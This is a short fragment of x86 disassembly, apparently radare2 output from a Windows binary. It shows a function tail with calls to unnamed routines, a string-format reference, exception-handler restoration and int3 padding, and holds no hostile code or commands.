push edi
call fcn.00401120
add esp, 0xc
push esi
push str._t_s_n
push edi
call fcn.00401120
add esp, 0xc
push edi
call fcn.004a5e1b
add esp, 4
test ebx, ebx
je 0x402e4a
test esi, esi
je 0x402e4a
push esi
call fcn.004a9b70
add esp, 4
push dword [ebp - 0x44]
call fcn.00442640
add esp, 4
cmp eax, 0x64
je 0x402b30
mov ebx, dword [ebp - 0x58]
push dword [ebp - 0x44]
call fcn.00441810
add esp, 4
xor edx, edx
mov ecx, ebx
call fcn.0049acf0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3